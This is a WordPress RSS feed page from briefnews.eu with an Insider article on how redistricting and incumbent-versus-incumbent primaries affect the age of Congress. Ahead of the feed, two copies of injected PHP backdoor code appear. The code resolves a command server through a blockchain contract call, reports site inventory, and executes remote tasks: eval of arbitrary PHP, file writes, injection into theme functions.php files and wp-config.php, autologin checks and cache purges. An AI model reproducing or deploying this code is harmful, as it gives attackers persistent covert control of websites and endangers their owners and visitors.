// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); government – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Sun, 25 Sep 2022 11:28:55 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png government – Brief News https://briefnews.eu 32 32 Fights over political lines have fueled the aging of America’s government. But that may be changing. https://briefnews.eu/fights-over-political-lines-have-fueled-the-aging-of-americas-government-but-that-may-be-changing/ https://briefnews.eu/fights-over-political-lines-have-fueled-the-aging-of-americas-government-but-that-may-be-changing/#respond Sun, 25 Sep 2022 11:28:55 +0000 https://briefnews.eu/fights-over-political-lines-have-fueled-the-aging-of-americas-government-but-that-may-be-changing/ Illustration of a blue-colored old man drawing a redistricting line in the ground with his cane, next to other districted zones colored red

Marianne Ayala/Insider

  • Redistricting and fights over political lines have fueled the aging of America's government.  
  • More often than not, older members of Congress win in primaries between two incumbents.
  • But polarization and partisanship are enabling younger members to knock out their elders.
  • Read more from Insider's "Red, White, and Gray" series.

Every 10 years, a new US Census forces states to redraw their political maps through redistricting. Whenever a state loses a House seat in the process, incumbent members of Congress are forced to run against each other — and younger, less experienced incumbents often end up on the chopping block. 

An Insider analysis, based on data compiled by Bloomberg's Greg Giroux, found that in 20 incumbent-on-incumbent contests since 1992 where there was an age difference of at least two years between the candidates, 12 were won by the older member and eight by the younger member. 

The dynamics of member-on-member contests have favored older incumbents and reinforced the gerontocracy in American politics as we know it. Since the 1990s, the age of Congress has significantly increased compared to the baseline growth seen over the 20th century — and redistricting has only hastened that trend. 

"It doesn't surprise me that age would make a difference on the margins," Jamie Carson, a political scientist at the University of Georgia who studies congressional elections, told Insider of member-on-member races. "It brings a bit more experience, better fundraising prowess, and maybe they know the district better." 

The 2012 cycle, where the more senior representative won eight of 11 such contests following redistricting, was particularly brutal for younger incumbents. 

In New Jersey, then 75-year-old Bill Pascrell easily dispatched 59-year-old Democratic Rep. Steven Rothman by 22 points when the two ran in the same district in 2012. 

Fifty-year-old Rep. David Schweikert narrowly ousted the one-term 35-year-old Ben Quayle, the son of former Vice President Dan Quayle, in the Phoenix suburbs. Sixty-nine-year-old John Mica, who had served in Congress for nearly 20 years, knocked out 55-year-old Sandy Adams, who served one term, in suburban Central Florida. And 60-year-old Janice Hahn defeated fellow Democrat Laura Richardson, 50, in the general election for California's 44th District by a resounding 20 points.

Rep. Alex Mooney, left, and Rep. David McKinley, right
GOP Rep. Alex Mooney, left, and Rep. David McKinley, right, are facing off in a member-on-member primary in West Virginia.

AP Photo/Chris Tilley, File, AP Photo/J. Scott Applewhite, File

Youth movement — fueled by partisanship?

But that trend is changing. Accelerating partisanship and polarization, in particular, are shaking up the game — and increasingly empowering younger lawmakers to knock out their more senior rivals. 

In 2022, the 75-year-old, five-term Rep. David McKinley, a West Virginia Republican, had some key advantages on his side when reapportionment put him in the same district as 50-year-old Rep. Alex Mooney. 

McKinley, endorsed by both Virginia's Republican governor and its powerful Democratic senator, Joe Manchin, was able to tout his role in the passage of a landmark bipartisan infrastructure bill that provided much-needed funds for his state. But an endorsement from President Donald Trump and hundreds of thousands in outside spending from conservative groups boosted Mooney to win the day. 

Younger candidates have won four out of six member-on-member primaries of the 2022 cycle, though in one case, Rep. Jerry Nadler of New York, who's 75, was younger by just a few months than Democratic rival, Rep. Carolyn Maloney. And in the cases of the two older incumbents who came out on top in their races, age and tenure in Congress weren't the deciding factors.

Republican Rep. Adam Kinzinger of Illinois outside a January 6 committee hearing on June 13, 2022.
Republican Rep. Adam Kinzinger of Illinois outside a January 6 committee hearing on June 13, 2022.

Drew Angerer/Getty Images

State lawmakers have expertly wielded their redistricting pens to kneecap their opponents — and hurt younger candidates 

Over the decades, intentional partisan gerrymandering — and the inevitable reshuffling that comes along with states losing districts and redrawing their lines — have dashed many congressional careers and aspirations.

Partisan gerrymandering and internal party struggle over district lines can also prevent young candidates or candidates from diverse backgrounds from getting elected to Congress in the first place. 

"Wisconsin's 7th District is very gerrymandered, so that was already a challenge that, going in, I knew," Tricia Zunker, who ran as a Democrat in a special election in a rural, Republican-leaning north-central Wisconsin district in spring 2020, told Insider in an interview.

Partisan gerrymandering, the redrawing of political district lines to favor one political party over the other, has gotten increasingly tactical. State lawmakers, in addition to utilizing the process to kneecap the opposing party, also make strategic choices about which members of Congress to sacrifice. 

In 2002, Republican state lawmakers in Michigan, who then controlled the redistricting process, drew two Democrats into the same blue district to make the surrounding districts safer for their party, a gerrymandering tactic known as packing.

The new map put then 45-year-old Rep. Lynn Rivers in the same district as Rep. John Dingell, a scion of Michigan politics who still holds the mantle of the longest-serving member of Congress in history.

Rivers mounted a competitive challenge — but still lost the race by 18 points. And she's not the only one who saw her time in Congress come to an end after partisan gerrymandering pitted her against a colleague. 

After the 2020 Census, Republican lawmakers in Georgia took the opportunity to force out one of the two Democratic women who had won seats in the blue-trending Atlanta suburbs, pushing Reps. Lucy McBath and Carolyn Bourdeaux into the same safely Democratic district. 

In Illinois, which lost one House seat after 2020, a map drawn by Democrats in the state legislature pitted two sets of Republican incumbents against each other in northern and central Illinois. Rep. Rodney Davis lost to freshman Rep. Mary Miller in one of those races. In the other, Rep. Adam Kinzinger decided to retire rather than run against Rep. Darin LaHood. 

"Through a strategic lens, it's a chance to knock out an incumbent and make that seat more vulnerable," Carson, the political scientist, said of gerrymandering.

The game of political musical chairs set off by a state losing a seat in Congress can also box out young, upstart candidates hoping to break in. 

Lourin Hubbard, a 33-year-old water-quality-control manager in California's Central Valley, ran as a Democrat in a June 2022 special election after a top GOP representative, Devin Nunes, left Congress early to run the Trump Media & Technology Group, the company behind the former president's Truth Social platform.

Hubbard, who lost to the 71-year-old Republican Connie Conway, considered running for a full term in Congress. But California's new commission-drawn congressional map, which will fully take effect come January 2023, dissolves Nunes' old district and splits it up into four new ones — including one held by Democratic Rep. Jim Costa. 

Hubbard told Insider that local county Democrats discouraged him from running for a full term in Congress against Costa, who now holds a safely Democratic Fresno-based seat.     

The new map "created some tension and conflict" within the county Democratic Party. "And to avoid that conflict altogether, I was like, 'I'll just run in the special,'" he said. 

Democratic Rep. Andy Levin of Michigan at a press conference on Capitol Hill on February 9, 2022.
Democratic Rep. Andy Levin of Michigan at a press conference on Capitol Hill on February 9, 2022.

Bill Clark/CQ-Roll Call via Getty Images

Partisanship and parochial factors are shaking up member-on-member primaries

Incumbency is the best predictor of whether a candidate wins an election. 

Challengers, Carson noted, have the best shot at unseating incumbents if they have prior political experience, money, or are up against an incumbent with particular weaknesses or a scandal.

"Even if you don't like the incumbent, that's not enough," Ryan Williamson, a resident fellow for governance at the R Street Institute, a Washington DC-based policy think tank, told Insider. "You have to actively dislike the incumbent and mobilize around unseating them, which is a much higher burden."

But the rare contests where incumbents are pitted against each other are "idiosyncratic," Carson said, and don't follow predictable patterns — especially in the 2022 cycle.        

Two decades after the Dingell-Rivers race, another primary fight between two Michigan Democrats shows how partisanship and money can eclipse age, experience — and even membership in a political dynasty — in member-on-member races. 

Rep. Haley Stevens, 39, could have had an uphill battle against Rep. Andy Levin, 61, when he decided to run against her in her suburban Detroit district, which became more safely Democratic under new lines drawn by a citizen-led commission. 

Like Dingell in 1955, Levin took over the House seat held for decades by his father, Sander Levin, in the 2018 midterm elections, following both his father and his uncle, former Sen. Carl Levin, to Washington. 

But Levin took a risk by choosing to run in the safely blue 11th District instead of the more Republican 10th District where he lived, planting himself on largely unfamiliar turf where he represented just a quarter of the electorate. 

The explosion in outside campaign spending since 2002 has shaken up the dynamics of all House primaries and heavily factored into the 11th District contest. A slew of pro-Israel, women's, and progressive organizations poured over $ 9 million, $ 7.45 million of which benefited Stevens, into the race. Stevens ended up beating Levin by 20 points in August — overcoming both his seniority in age and the potency of his family name. 

Like in all House elections, money plays a significant role in member-on-member races. Older incumbents often have more money in the bank and more established fundraising networks from their years campaigning for elected office and, in some cases, greater personal wealth, candidates and experts told Insider. 

The candidate who spent the most money won four out of six member-on-member contests in 2022 and nine out of 11 contests in the 2012 cycle, according to an Insider analysis of campaign-finance records. 

"Every new midterm breaks the previous record, and a bulk of that money is going to flow to the most competitive primaries and general elections," Carson said, noting that "money is a necessary but not sufficient condition," particularly in member-on-member contests. 

State lawmakers have drawn incumbents together for political gain for decades, but the post-2020 redistricting cycle also saw many maps drawn by courts or independent commissions. Many of those commissions prioritized drawing competitive districts over protecting longtime incumbents, which blunted the advantage that some more tenured incumbents enjoyed. 

New York's court-drawn congressional map, resulting from a messy and protracted legal battle, pitted two longtime House Democrats and committee chairs, Nadler and Maloney, against each other in upper Manhattan.

That race, a clash of two septuagenarian titans of New York politics, was driven more by parochial forces than national ones, with The New York Times editorial board and the powerful Sen. Chuck Schumer throwing their support behind Nadler in the final stretch. 

As the Stevens-Levin race showed, the member of Congress representing most of the new district's constituents is generally favored in a matchup between two incumbents in the same seat. 

But in other races, like the Hahn-Richardson contest, a candidate who represented very little of their new territory came out on top.  

